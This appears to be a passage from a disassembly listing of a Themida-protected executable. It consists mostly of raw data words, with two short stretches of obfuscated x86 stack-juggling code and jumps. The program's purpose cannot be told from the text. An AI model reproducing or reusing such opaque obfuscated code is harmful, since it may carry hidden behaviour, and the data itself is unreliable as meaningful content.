		dd 65F49E15h, 0B07287C0h, 3D148DBEh, 800DE03Fh,	15352999h
		dd 0DA51CD9Eh, 280CF835h, 0E1999F4Ch, 9F774030h, 0B7436h
		dd 346E800h, 0E118D047h, 0FE37EE6Dh, 0DB18CB4Ah, 0F534D85Fh
		dd 0C5375339h, 0F168E423h, 0CC4BFF40h, 0D85FDB16h, 4B3EFA2Fh
		dd 4608BA71h, 0EFEC6BDBh, 44793225h, 0A75BDE50h, 1BC48F6Ch
		dd 0FB5D3AE6h, 7C9C26E5h, 0FC786DCCh, 7CA53CDFh, 5F1A8EC3h
		dd 336B358Eh, 4C873BFEh, 173B92Fh, 0D7130000h, 70245D04h
		dd 0A35CD7F4h, 0C7858C65h, 1F43D125h, 76AB5473h, 0EA565DC2h
		dd 161A0647h, 0F899203Ah, 0CBBEA2B7h, 67FC5DEEh, 95CA8118h
		dd 2896C5B1h, 0CB943C4Ah, 11DC19B8h, 0F1397AF4h, 44h, 2A9D75Bh
		dd 6DCC7C40h, 52B3C8A4h, 434618C3h, 67FC7C6Eh, 91D8CCA8h
		dd 943C7C35h, 7D29640Ah, 826EA75Eh, 0F5C26110h,	5B0E7D45h
		dd 40E90D54h, 0C809EC83h, 38397A59h, 0E195CA81h, 0D7006885h
		dd 4A000000h, 265B04D7h, 0ACE18A51h, 0F02FE1F8h, 0A9DE8504h
		dd 0DE5D83FDh, 3B37EB2Ah, 0CC7CF64Ch, 35120E6Dh, 1C90C57Eh
		dd 0AA6C0942h, 0DF5681EFh, 56AB210Ah, 0CB746DCCh, 26382296h
		dd 0CC2EDF63h, 1E3B376Dh, 0C9A338BFh, 47BB0CA4h, 0F5D25992h
		dd 2D1828E3h, 7CF867FAh, 0A7627C62h, 94219B1Bh,	0C63A1FFBh
		dd 1F7A95DAh, 0AE62D9EEh, 0C9909266h, 71565B0Ah, 0A50C624Bh
		dd 2397BB27h, 0CB1F094h, 4A04DB12h, 0A9F081Ch, 7E00000Ah
		dd 46D589CCh, 64F3679Eh, 51C884BDh, 6EED619Eh, 0C9BF7BBAh
		dd 5E9D4FBDh, 79BA6BEAh, 559036C5h, 74A962D9h, 40EBD5B8h
		dd 6BDB4782h, 32BF8562h, 6BFF367Eh, 0DAEB8E58h,	0FFAE4F6h
		dd 6DCC12B3h, 49883C53h, 0E0FDD95Dh, 0F328DF56h, 7932B137h
		dd 92395044h, 0D568E15Dh, 88000004h, 0F5C66663h, 0BE0ED7Ch
		dd 83BD5C41h, 73EFA3E0h, 6A637D4Fh, 0F69C8EAh, 87845999h
		dd 67FCEC56h, 0D98074F0h, 943C9C6Dh, 24D00DC2h,	0DAC601A5h
		dd 0D6CA09BBh, 41E0BF5Ah, 23B68A7Bh, 9427447Fh,	55B5F8FDh
		dd 2A95397Ah, 0F7000002h, 0CC7C5F02h, 0F0EB0A6Dh, 2BDE00DEh
		dd 6DCC7C97h, 7CE45E4Dh, 24006DCCh, 59CBF06Ch, 68F206A3h
		dd 2CAE5572h, 0B667F7A9h, 0C56D9AB5h, 5E7B94E9h, 2BAEC09Ch
		dd 0B18B3F74h, 2E4B822Ah, 9C0FEA5h, 6EC44E4Eh, 0DFD4C0A4h
		dd 72E903D8h, 938F83BAh, 0A2E7A2B6h, 649E15BBh,	1CC16308h
		dd 0D7CF4030h, 8FCCEh, 7BBE7000h, 599038BFh, 76AF56E5h
		dd 539033C2h, 6DAC60D7h, 5D8FFBF1h, 69F06CABh, 44D387C8h
		dd 70E7639Eh, 0E3C682B7h, 409032D9h, 77746BDBh,	447932ADh
		dd 5D923950h, 30CFF4A9h, 49053AF1h, 43DE477h, 40371410h
		dd 336B356Dh, 1744Dh, 7932BF00h, 2A542A44h, 0CC7CC37Fh
		dd 6047236Dh, 6DCC7CE2h, 55512602h, 0E4588D36h,	8963787Fh
		dd 0FC11B9A2h, 25D14D67h, 2396C876h, 6BAC5D94h,	316820B7h
		dd 8E25D645h, 83225142h, 90D17447h, 0B46B80E4h,	397B4059h
		dd 245912C9h, 2FDAF470h, 94239E93h, 6EE2F773h, 47h, 83BD5CDCh
		dd 0AFC1A5DEh, 0FC7CD7FCh, 954E0D67h, 9BB0B460h, 0EA718BE7h
		dd 34F20746h, 2383D965h, 0E8873C94h, 7CB76BEEh,	0C8CFAC88h
		dd 397B3705h, 0CDE5h, 0AA60DB00h, 6104836Fh, 42174420h
		dd 98C21958h, 3203C99Eh, 0CD02A979h, 731F560Eh,	0A81FD3EFh
		dd 0BAD1C504h, 9F23E611h, 776DCC7Ch, 0AC2BD7FBh, 0D2ACBEF3h
		dd 0CC7C6BD7h, 0BA8F8B6Dh, 45311A04h, 6D001619h, 38A08B60h
		dd 16DCC49h, 0EF380C4Ah, 18465023h, 9423803Ch, 98BCF5ACh
		dd 96A385C6h, 283934BCh, 0D6EF5356h, 2B076DCCh,	417F2A4Eh
		dd 0A167FA1Bh, 7C30ABC5h, 56FA813Dh, 5DCCB217h,	0B2624A04h
		dd 79421h, 23660800h, 417830A7h, 1E570E8Dh, 3B782BAAh
		dd 1554F87Fh, 2557B399h, 11884483h, 2CAB1F60h, 0F87F3B76h
		dd 0AB9E1A4Fh, 4268DAD1h, 0F8C6BDBh, 5B04D785h,	0E1F67A26h
		dd 6577B65Ah, 0D7F431D6h, 0FA2FD85Fh, 7932A83Eh, 51412A44h
		dd 0FC2F022Dh, 63622439h, 52D387BCh, 260h, 28BD5CAAh, 0CC7CC181h
		dd 3749256Dh, 0CC7CCE74h, 264A266Dh, 2DB35554h,	0CF4B67F7h
		dd 0B3CA7423h, 57299424h, 0AB0AB416h, 2338AF30h, 56E5E180h
		dd 0A27E72B3h, 50447F23h, 0AD00F7D4h, 8D39830Bh, 1F0h
		dd 7C5F02FFh, 0EB0A6DCCh, 0D12BDEF0h, 0A967F72Dh, 0ECDB3CDh
		dd 914A1F56h, 0B229A5DAh, 0E3D0C4F9h, 66F507D4h, 979B87BEh
		dd 0AEEB9EC2h, 589E14CEh, 61816FDCh, 0F7AF4031h, 6B8EEh
		dd 377A2C00h, 154CF483h, 326B2299h, 0F4CFF76h, 29681C9Bh
		dd 194BB7B5h, 0F5843877h, 20971354h, 0FC7B2F6Ah, 0AF9A0E43h
		dd 4364DECDh, 23806BDBh, 44793299h, 67923950h, 0CC7C1EA4h
		dd 567AF66Dh, 0D611B584h, 7531462Ah, 45EC8318h,	0DEDE609Eh
		dd 4E2D9594h, 6DC96DCCh, 73565280h, 97BB97CCh, 97955823h
		dd 4975336Ah, 0D7000001h, 50447932h, 0E15D9239h, 94667584h
		dd 2D95946Ah, 0C96DCC7Ch, 5A76806Dh, 0D2153E9h,	481633F0h
		dd 74F067FCh, 386DD980h, 0F390943Ch, 0E658995Ch, 0A3C8397Ah
		dd 0BC15004h, 0E859E7D4h, 4F7EF207h, 80000000h,	2BD718B9h
		dd 5C9A3247h, 8D4C1EBDh, 4101A8D9h, 0A56DCC7Ch,	7DF9ADC9h
		dd 0A0917860h, 4467FC7Ch, 0C499CE75h, 0E7AE62BEh, 9423835Fh
		dd 0AE613DF0h, 2AA15571h, 0D0574B82h, 0DE91902Fh, 5571F5A1h
		dd 75700FA4h, 397B369Ch, 0A17Ch, 7932CE00h, 0FDAF2A44h
		dd 0D74ED2BEh, 23E3F833h, 0D5C100A4h, 2CD80DB6h, 0DC1F6ADh
		dd 0C900A833h, 878459DDh, 6DCCF651h, 904C812Ah,	11DABDAEh
		dd 0EC1C7885h, 74676E0Fh, 3691AF5Ah, 0F5719805h, 16C805DBh
		dd 0CF804944h, 69A1EFDCh, 8EB3CEB6h, 0F4E02B9h,	29681C9Bh
		dd 5BCC2C4h, 4F584C4Ah,	559h, 5EDA1DCDh, 3EFA31D7h, 65D912B7h
		dd 38F431D6h, 5CD00FC1h, 2CE0126Eh, 47EA71EDh, 1FC35206h
		dd 3AF168E4h, 5A664905h, 0DB3C13AFh, 2EF6F36Bh,	8B3F7E32h
		dd 4C1E530Ch, 0CA9FD88Dh, 79327614h, 92395044h,	14B8835Dh
		dd 775B923Ah, 2D6BDC62h, 0E1000000h, 50447932h,	0A95D9239h
		dd 54407D32h, 0A1559235h, 7649842Ah, 1514B64Dh,	6DCC7CADh
		dd 3609ED49h, 782FF68Dh, 351E8743h, 6E000000h, 8A97932h
		dd 4CF6B5C7h, 0A86DCC7Ch, 0ADFCA8CCh, 6DCC7C10h, 704B80FAh
		dd 9475EF17h, 0AE45D6F3h, 0BCFBAD2Ch, 366B149Fh, 0B6F19524h
		dd 5F1348FFh, 0DA70E603h, 50447932h, 75875463h,	0F72D56B6h
		dd 18322E67h, 0D1711846h, 359424B2h, 92AEE79Eh,	745FEB5h
		dd 55F0F76Bh, 7B2F130Bh, 620E43FCh, 7B55868Dh, 0D8CC0DC0h
		dd 0B2597F5Ch, 9E1F4FF7h, 2B9938Fh, 2D27949h, 1C2E124Bh
		dd 1D4ED56Dh, 1135319Eh, 30651E9Dh, 73686F44h, 379DB259h
		dd 0D69942Dh, 28809C60h, 0B122F25Eh
		dd 439h, 0FEBAFDADh, 1E9AD177h,	5B9F297h, 1894D176h, 0FCB0EFA1h
		dd 0CC80F20Eh, 0A74AD18Dh, 0BF63F266h, 9A51C884h, 0FA06E965h
		dd 0DB3DB30Fh, 0CE56536Bh, 5B4E7932h, 6DCC7CE7h, 8B3F23FFh
		dd 721E530Ch, 8B77AC53h, 0F16ADCEh, 0F4A72358h,	336B3619h
		dd 65F9h, 0BD5C5300h, 0B6A3E083h, 0D153A70Ch, 0A1BB979Ch
		dd 4B37761Ah, 10EE12E7h, 23A634DBh, 0EF0CD954h,	0FCEB0F34h
		dd 718BE767h, 0B87042EAh, 0B5919581h, 371451F6h, 6A213F21h
		dd 9423AFD8h, 500BE03Ch, 3CEB5F9Ah, 9423AF84h, 0A6B0EE95h
		dd 0CBA6B990h, 502A9EC2h, 2254351Bh, 3512E74Ah,	998DC87Eh
		dd 38010h, 79327C00h, 0B5412A44h, 1A95A6E4h, 0D5F4B2C7h
		dd 0B169F02Eh, 35067EEh, 0CCEEBA08h, 0E2FE5A6Dh, 0B66DECFEh
		dd 8DF26C81h, 907B5586h, 67FC83ABh, 93CA8239h, 0B46683DFh
		dd 219DCCB8h, 0C4943C00h, 0FCD510AFh, 0DC397AADh, 37h
		dd 1EBD5C2Eh, 9DDA8D4Ch, 98C698C0h, 0CC7C51F1h,	0A4B9B56Dh
		dd 0FC7CCAE7h, 2FDA4C67h, 94238393h, 27DBF773h,	2383C680h
		dd 0F78E2594h, 7B371FF2h, 0C2FF39h, 0D74D0000h,	0FA296196h
		dd 4429993Fh, 0A5327F25h, 31AABFC7h, 3A51457Ah,	2CAB5796h
		dd 33523E73h, 24E3578Ch, 6DCCDAA4h, 0A7B9EE95h,	12A5AA6h
		dd 0BF765AEAh, 421ED209h, 812AB125h, 4C6B584Ch,	0DCEBD8Fh
		dd 0B967FCC3h, 15A401BDh, 0B4CAB4C6h, 3CC54DF5h, 0F22BE294h
		dd 62491EFAh, 9E0A0D68h, 0BCEA07Ch, 1C44195Ah, 3C320942h
		dd 0E135A25h, 8FCE8239h, 0A9E89C1Bh, 378D7644h,	0DBCCD840h
		dd 27Dh, 4AFE41F1h, 6ADE15CBh, 41FD36EBh, 64D815BAh, 38F433D5h
		dd 20C43652h, 3BEE6DE1h, 13B73EFAh, 2ED564D8h, 764A45F9h
		dd 0DB3F0FB3h, 420AE76Bh, 8B3F7E32h, 4C1E530Ch,	0F5A1D68Dh
		dd 44E25C71h, 4C1EBD5Ch, 0D98D4C32h, 876EF29Eh,	6DCC7C3Bh
		dd 3F336E14h, 0EE942BE3h, 7F63BFB3h, 7C90C16Ah,	0FA7667FCh
		dd 83E75F06h, 2A069423h, 46D81541h, 8358AE08h, 9E401A0h
		dd 0E9397B6Eh, 9Bh, 4E793263h, 0CC7CE75Bh, 5990386Dh, 0FDA9CDA9h
		dd 37EB2ADEh, 0CC01E870h, 659A516Dh, 0E9B972E9h, 171B0748h
		dd 5B7A473Bh, 7EBB6E80h, 89803F4h, 0C453B02Ch, 95464517h
		dd 319E1556h, 0ECA01B35h, 6308D3ADh, 0E8D5126h,	0FAAE1B5Ah
		dd 3440349Ah, 1A77760h,	6B1B0000h, 7F25B428h, 60059448h
		dd 7F24B327h, 5D0F8642h, 40BCAA1Eh, 0AB1F5E12h,	8438792Ch
		dd 0A21651F5h, 83376C13h, 4DF5B488h, 0A96BDB38h, 7E32804Ch
		dd 70B800A4h, 0D57AE3E0h, 0E12FEE2h, 48FF7632h,	32119713h
		dd 39504479h, 5AE15D92h, 7C627CB1h, 6772F04Fh, 0E59406D4h
		dd 6DCC435Dh, 4BFEBDB9h, 3D1A160Ah, 76657441h, 20ECA564h
		dd 0AEAA67FCh, 0DED0C2h, 3C67B909h, 0EC015D94h,	2D1EB857h
		dd 90FB6D60h, 0C6F3D874h, 2C9D9524h, 7A31AABFh,	9D3C8945h
		dd 0A0C4FFA3h, 657EDBCEh, 0B6889E0Ch, 2C634FF3h, 0DDA0729Eh
		dd 9185BBFh, 0EA9E1D19h, 577BF7ABh, 3E732CABh, 76451752h
		dd 0E6B592D3h, 0D209104Fh, 0B053E6F8h, 25348E7Dh, 54D09E2Ch
		dd 0BB05B70h, 0FB941C72h, 0AD1AB1Fh, 0F77B2766h, 7DB259E2h
		dd 215C1289h, 31D06375h, 460237F0h, 0EF01DAF9h,	2C36773Ch
		dd 6E1D0F8Ah, 8A0C79D4h, 6F1A3430h, 8A0C79D3h, 671B3733h
		dd 8240EB15h, 628A0C79h, 8E36C5FDh, 0C29E0DBEh,	40752EA5h
		dd 0BFF4AB2Eh, 0D50CB4D3h, 0B82ADCF1h, 0DEF56A09h, 6B28E3FDh
		dd 2B803C5Fh, 0E35B7C26h, 7AA861Fh, 12C6AAC6h, 9BB526ADh
		dd 47CDB9F0h, 34F74986h, 0B655CC8Eh, 3AE60A66h,	0FBAFE49Bh
		dd 0E28EC37Ch, 0EEFE59B3h, 87C66AB7h, 0C45FC9Bh, 5CF38E18h
		dd 0DBF730D5h, 61C05F40h, 42B975AAh, 29A05489h,	4B5D4986h
		dd 6F1819B8h, 7415EB9Fh, 0FFE33F33h, 37F067E3h,	9D1C0E02h
		dd 7BF7ABECh, 3E35Eh, 5F590000h, 3D80326Dh, 64995249h
		dd 3A7519B0h, 5D9E4F46h, 3F7E32A9h, 51903453h, 448126A5h
		dd 5B943950h, 417830A7h, 8952CF55h, 4C281E2h, 81000000h
		dd 4EAh, 24148700h, 242C895Ch, 6FE468h,	240C8900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	6173230h
		mov	ecx, [esp]
		add	esp, 4
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	3D33h
		mov	[esp], eax
		mov	eax, 8
		add	eax, edx
		mov	[eax], ecx
		pop	eax
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		db 0A2h
		dd 3EFBB595h, 1C57533Bh, 0B8F4EAC4h, 61745E3h, 0E0FFC503h
		dd 29877911h, 4A6D2FE3h, 3962DFDDh, 136018A8h, 7F9CE9D8h
		dd 5DFE6EAFh, 69784FA9h, 77827CE8h, 7CF52DDCh, 5AF1F4B9h
		dd 243831F5h, 797227DFh, 471B8D8Dh, 6A0617h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 951452C3h
		dd 180B0A37h, 8987BEEEh, 1009F58Dh, 6840F06h, 89000000h
		dd 101C4185h, 1985C706h, 94061023h, 0F000072h, 28Ch, 0C736B600h
		dd 1022C185h, 6, 75CE8100h, 0FF0BE3DCh,	101B25B5h, 0FF66B006h
		dd 102DB995h, 0FD8D8906h, 6A061007h, 0C995FF00h, 8B061031h
		dd 8919EBC0h, 0FAA4E1Eh, 0AA2D61B6h, 0F05199ECh, 0C50CD5A8h
		dd 0F9C137A2h, 7143FF39h, 15FE9h, 0D48B5200h, 0E860h, 815D0000h
		dd 174747EDh, 8428B06h,	2638453Dh, 38850F78h, 8B000001h
		dd 4A8B0C42h, 0BBC8D318h, 37E5772Bh, 0E883C333h, 0F5858904h
		dd 8B061009h, 0F88B0458h, 8B10428Bh, 0C8D3184Ah, 0C88E76BEh
		dd 2BC633ABh, 0FCE083C7h, 8904E883h, 10231985h,	14428B06h
		dd 22C18589h, 428B0610h, 0B0E95318h, 0FF000000h, 102821B5h
		dd 0B9E906h, 0B5FF0000h, 61030C5h, 0AEE9h, 11B5FF00h, 0E9061012h
		dd 0A3h, 11EDB5FFh, 98E90610h, 0FF000000h, 100BB9B5h, 8DE906h
		dd 0B5FF0000h, 610232Dh, 82E9h,	0CDB5FF00h, 0E9061000h
		dd 77h,	4E9B5FFh, 6CE90610h, 0FF000000h, 101D89B5h, 61E906h
		dd 0B5FF0000h, 6102ED5h, 56E9h,	51B5FF00h, 0E906101Fh
		dd 4Bh,	1B25B5FFh, 40E90610h, 0FF000000h, 100EA5B5h, 35E906h
		dd 0B5FF0000h, 61008A1h, 2AE9h,	65B5FF00h, 0E9061008h
		dd 1Fh,	4A5B5FFh, 14E90610h, 8B000000h,	0BB8D8h, 0F7660000h
		dd 0A88D8DE3h, 3061747h, 0FFE1FFC8h, 102DB995h,	858B5B06h
		dd 61009F5h, 0F045839h,	0F85h, 16A5300h, 31C995FFh, 0E95B0610h
		dd 0FFFFFFE2h, 61C35A61h, 0C96AB85Ah, 0E0FF77D4h, 251858Bh
		dd 8D8D0610h, 6174896h,	8B014189h, 9E8C3h, 13980000h, 0F6CBEA65h
		dd 0B01EF8BCh, 81665E4Ah, 81C7C7C0h, 6965C6h, 0B8F0F00h
		dd 0E9000000h, 6, 82AA2345h, 0B94342h, 66000000h, 0DB66E281h
		dd 810E1C8Bh, 9392B1EBh, 75CA8058h, 0D874EB81h,	8B661DA9h
		dd 28C381F9h, 0F165A3Dh, 388h, 0C28B6600h, 0B3E48053h
		dd 0E90E048Fh, 0Ch, 0BA6760CEh,	1D5FA5E7h, 967BEB82h, 0E981D5B4h
		dd 646762B1h, 0C18171B4h, 646762ADh, 12E9h, 0A6FA1C00h
		dd 0DF87174Ch, 0BF86D39Dh, 7906435Eh, 816DC0D7h, 0FF976CF9h
		dd 27850FFFh, 0F000000h, 1681h,	0B70F6000h, 0CE9D9h, 0E5300000h
		dd 7946CA9Ah, 1507DB97h, 0E961C0F7h, 13h, 2B4359F9h, 65E9210Fh
		dd 5FFFFFFh, 707A3705h,	0E8FCFCE9h, 13h, 6D770F51h, 7D7AE2C9h
		dd 882BAE14h, 0D343015Bh, 59E0DE2Ch, 0C181FA8Bh, 5BC3h
		dd 0DE9h, 0B872BA00h, 42B1546Dh, 0C5F064D0h, 0D233480Eh
		dd 8B665660h, 0FE95BF1h, 0C3000000h, 35A7D9F3h,	0E389D4C3h
		dd 557D15D5h, 8B61C57Eh, 66601134h, 0FFC7CBAh, 684h, 850F00h
		dd 61000000h, 1246F681h, 60BF6524h, 8147A94Ch, 0A895DEC6h
		dd 0A4E8BB02h, 0C68102F3h, 2C8FC9DAh, 0F956C18Ah, 5011048Fh
		dd 93C78166h, 890F5F3Fh, 0
		dd 0F04EA83h, 0FA81F8B7h, 0FFFFA504h, 1A850Fh, 0BF0F0000h
		dd 21E9DEh, 0CCAA0000h,	0C9E4CD65h, 0E1C10FCBh,	0B6452290h
		dd 2072B2DFh, 0E9DABF0Fh, 0FFFFFF87h, 1D8745BDh, 0E9A6FDFAh
		dd 1Dh,	6B3C2985h, 6 dup(0)
		dd 490E900h, 7B680000h,	0E906174Bh, 0FFF935E4h,	174BF668h
		dd 35DAE906h, 5A68FFF9h, 0E906174Dh, 0FFF935D0h, 0F6B2F595h
		dd 1692C97Fh, 0FDB1EA9Fh, 0D08CC97Eh, 0F468A749h, 0B4588AF6h
		dd 8F42B975h, 0A75BDA4Eh, 0C269F06Ch, 0E2DED18Dh, 0DB369B27h
		dd 961E7B6Bh, 533F7E32h, 0E2568B34h, 8B65767Dh,	0FC1F03A0h
		dd 13BA8167h, 0B90900DAh, 5D9423A1h, 3A36EC01h,	0A1A71F46h
		dd 2D469423h, 587A5396h, 0F75A397Bh, 0B0000002h, 0A037BA15h
		dd 0F96A213Bh, 1D67FC20h, 0F4AC2F41h, 680FA0BDh, 91463E57h
		dd 6D80312h, 76665203h,	2ED5EC9Bh, 4D290DF9h, 0D68E4D33h
		dd 1E4AF89Fh, 0AEAA9BB6h, 118ED99h, 0CB0900DAh,	8B918654h
		dd 0BDA3BD8Fh, 0A65474CEh, 0E594909Dh, 9DA6545Dh, 0B8A0BDB9h
		dd 366D13A6h, 0BCF19A21h, 2D27900h, 0D36F1A4Dh,	339DA654h
		dd 0E69C1B37h, 0E922C7ABh, 994383E9h, 2FD1C8Dh,	17B70000h
		dd 2BE158D4h, 0CC138F4h, 2BE057D3h, 9BB3AEEh, 0EC180ECAh
		dd 0CF8BCA7Eh, 0E864A548h, 0C682BD71h, 0E763984Fh, 0B111F804h
		dd 556BDB37h, 0A9D7CC58h, 0CC7C4002h, 0D7D2A46Dh
		db 6Bh,	7Ch, 0CCh
byte_5C0023	db 6Dh			; DATA XREF: Themida_:0054D694o
dword_5C0024	dd 96B38F8Bh, 512BB047h, 0F7C64D5Ah, 5B046967h,	83D1F837h
					; DATA XREF: ___:004327ECo
		dd 0C799B38Fh, 24707EC4h, 0BD9A9694h, 2D6C209Bh, 47862AB1h
		dd 70B10C5Bh, 0C9829424h, 0CDDC2794h, 44504A01h
dword_5C005C	dd 28253h, 478A3C00h, 255C0493h, 427B32A9h, 1F5C0F86h
					; DATA XREF: ___:off_432940o
		dd 39782CABh, 97B8785h,	25B42867h, 10874384h, 2CAB1F5Ah
		dd 9F8A3E73h, 3754EE9Dh, 33B06BDBh, 1EBD5C69h, 0C6405D4Ch
		dd 25E67F7h, 7FC071E8h,	8E524C8h, 0CAF74F16h, 5D169424h
		dd 5FDA04C6h, 3E8473A8h, 0F9424CAh, 0FF71215Ah,	24CAB60Ch
		dd 0EED24E94h, 82579437h, 8274347Dh, 1901439h, 32760000h
		dd 0DE504479h, 8D6AA95Bh, 74E81DC6h, 0F9D3080Fh, 7C9E24E7h
		dd 0AA416DCCh, 68A9AD7Bh, 9267C3BBh, 25C9906Eh,	7F63984Fh
		dd 0C098C16Ah, 576E67FCh, 9C077B4h, 244024D0h, 0C79D2970h
		dd 80943Ch, 0AD599639h,	700FB4C9h, 7A6E9C75h, 3D7C39h
		dd 0D7CE0000h, 75216004h, 6A89DCF1h, 0BA815F71h, 0AC60D716h
		dd 0BE93906Dh, 5867FC7Ch, 0C58128DCh, 28942383h, 20F1F48Bh
		dd 397B37h, 0C6h, 43873BFEh, 0A9F8805Bh, 0E79BB7D0h, 32D66E8Bh
		dd 0AF2A4479h, 0FAACC1FAh, 36EA29DBh, 0BFB3E89Fh, 0FE37EE6Dh
		dd 0E9B972E9h, 181C0847h, 0AD9E803Ch, 0D5DF6D74h, 0CDB693C8h
		dd 6DCC0053h, 0B4C6FBA4h, 8063DFCAh, 0A7839233h, 806CD6D5h
		dd 0AC889233h, 1BBA07CFh, 0C5FBAEC0h, 1D98054Dh, 0F8AC2F41h
		dd 0D27605B9h, 87E12693h, 5D494A04h, 11E4Ch, 0F336D800h
		dd 0D108C037h, 0EE27DE5Dh, 0CB08BB3Ah, 0A5E4880Fh, 95C74329h
		dd 81F8B4F3h, 9C1B8FD0h, 0A82FABE6h, 1B0ECAFFh,	31D86A21h
		dd 5F3C6BDBh, 3F7E32D5h, 28530C8Bh, 0D4C3FCB1h,	6DCC7C6Eh
		dd 0B4C6AA86h, 7C63DFCAh, 2B4E6DCCh, 0BF483414h, 0F308641Ch
		dd 7932DD6Bh, 86412A44h, 5701D9D0h, 9807E5Bh, 9FDE9262h
		dd 1BBA07C3h, 0AF455B7h, 1C381A30h, 5E7A4742h, 0C09C67FCh
		dd 3A792BAEh, 3A7FC77Eh, 17D0943Ch, 9F5108E2h, 44D38B60h
		dd 0CC8F61A0h, 204D918h, 8291h,	0BD5CEB00h, 0F1A5DE83h
		dd 12B05B75h, 0F26DCC7Ch, 89805A76h, 67F7C690h,	4F463A36h
		dd 15E76398h, 0C98240EBh, 6629424h, 8CC16AF1h, 0D1B8A698h
		dd 9424C971h, 0C7C49995h, 10B5762h, 681C9FC1h, 0D06F5429h
		dd 0E9659A51h, 9084B972h, 471956F9h, 0DE92CF74h, 33259D8Ch
		dd 65C1E171h, 28BA6C81h, 843BFA99h, 3A01DB4Fh, 0C7AB5796h
		dd 4D8229B2h, 0B154E759h, 0D817B970h, 0B633482Ch, 3, 326D5F06h
		dd 52493D80h, 19B06499h, 4F463A75h, 32A95D9Eh, 34533F7Eh
		dd 26A55190h, 39504481h, 30A75B94h, 0CF554178h,	81E68956h
		dd 4C6h, 4EE8300h, 8B243487h, 89502424h, 405E0h, 42D0000h
		dd 87000000h, 895C2404h, 3768241Ch, 8900005Bh, 0EC83243Ch
		dd 24348904h, 174A9DBEh, 5EF38906h, 8904EC83h, 4832424h
		dd 685F0424h, 5FBBh, 0B8240489h, 8, 1889F801h, 2434FF58h
		dd 4C4835Fh, 5B2434FFh,	4C481h,	61E90000h, 9FFFF931h, 9DB81F88h
		dd 306174Eh, 60E0FFC5h,	985773E4h, 5F23A6C1h, 566C095Eh
		dd 1E3EDAA0h, 0BD43EA65h, 0C901A86Eh, 12190E99h, 8A1DF6E6h
		dd 0D75480A5h, 9B72EC40h, 0FF2A68C5h, 75039BD5h, 7422B1A3h
		dd 4C2BFE0Ch, 7D00C259h, 865F25E0h, 0B133BA16h,	0FC2577BAh
		dd 0E44E1550h, 5E4FD349h, 5A49913Bh, 7D7BF4C9h,	341A9F7Ah
		dd 0DD5CACA4h, 0C3250388h, 0FC5BFF73h, 1E74E15Eh, 8D5100B3h
		dd 1750708Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 8D8907B0h, 61009F5h, 5EB1B052h, 231985C7h
		dd 5FDC0610h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 2F93ECC3h, 3764654Dh, 31019D01h
		dd 85C70610h, 61022C1h,	0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 6BC35545h
		dd 9447E507h, 9685039Ah, 0FFF38B66h, 100BB9B5h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 8B8AAC5Eh, 0B995FFD6h, 6A06102Dh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0A014C353h
		dd 0B58BA314h, 61031C1h, 95FF006Ah, 61031C9h, 4FEBC08Bh
		dd 0B40441FBh, 7FECF0D5h, 2D41628Fh, 1F96E90Ah,	0D438D5ACh
		dd 0C317B8ACh, 3148F9FEh, 2F7172BDh, 0B1F4579Bh, 541512E2h
		dd 0B93B8C39h, 7B0123CAh, 0A905AFE4h, 0ABA39E46h, 332E2DFDh
		dd 3B745AAFh, 59062301h, 7B240102h, 0F66CA3F9h,	0E8421D9Fh
		dd 6, 0B4C4F623h, 8C0F8615h, 6,	1ECD8589h, 0E95B0610h
		dd 6, 250ED851h, 0C3817FDEh, 64F1h, 0C7E636BAh,	29EA8124h
		dd 0E924C7CDh, 0Bh, 5993B6A1h, 0AB5F83D5h, 8B086FD9h, 0F9BF0F03h
		dd 58F0E881h, 81660C8Ah, 81EF62DEh, 39B5BCC0h, 4DB58B3Ah
		dd 81061031h, 18BF52E8h, 0BD8B5765h, 61000C5h, 0BD31505Fh
		dd 6102EC1h, 8589038Fh,	6101175h, 6601EB83h, 4B61C6B9h
		dd 8A604B4Bh, 499589E1h, 61061012h, 0F01EA83h, 1785h, 27E900h
		dd 67AB0000h, 3F7E6F5Fh, 300156C8h, 6B78D1AFh, 0BB66A88Bh
		dd 49E0B966h, 0FFFF8AE9h, 0B973D9FFh, 170D90D2h, 0AA98E5FEh
		dd 32E9A9h, 1E4A0000h, 5552h, 0Bh dup(0)
		dd 580E9h, 77BA6C00h, 558C34C3h, 72AB62D9h, 4F8C3FB6h
		dd 69A85CDBh, 598BF7F5h, 35C478B7h, 60D75394h, 3CBB6FAAh
		dd 0EFDA4E83h, 2DA41E0Dh, 63406BDBh, 0A97932D9h, 5AD6CA05h
		dd 3EF24DBh, 4429431Fh,	7A21B336h, 0B96FE627h, 22B96582h
		dd 0B6EB946Eh, 0CE8A66CAh, 0AB1712ECh, 4B6DCCE3h, 8A41FACFh
		dd 0CCFA155h, 1661A57h,	0EF1026Eh, 61765A4Dh, 8FC31DAh
		dd 0F0A4DB91h, 0DF936D9h, 0E69ADB8Eh, 22AE45FCh, 98993887h
		dd 77FEBAEFh, 98C698D3h, 0CCA451F1h, 0A5B0B56Dh, 18A6BAFEh
		dd 11C5A2BEh, 0B4F4AC2Fh, 9968AAEBh, 0F7ABC7B0h, 7E3C8685h
		dd 5CD86DCCh, 0B7535378h, 4F401100h, 0D20DC17Ah, 0C506A71Eh
		dd 952CC7D1h, 1F9BD68Ch, 0A0BAEF98h, 4D397619h,	431214E9h
		dd 6DCCFFFAh, 0A95D9A4Dh, 54407D32h, 0A52BCA59h, 0EB0EA516h
		dd 336AB322h, 5502h, 79324800h,	0DE5044h, 0CC7CB909h, 0EC015D6Dh
		dd 0CC7C813Fh, 9A398A6Dh, 6B358E5Fh, 0A0CDFE33h, 0EA3FBBE2h
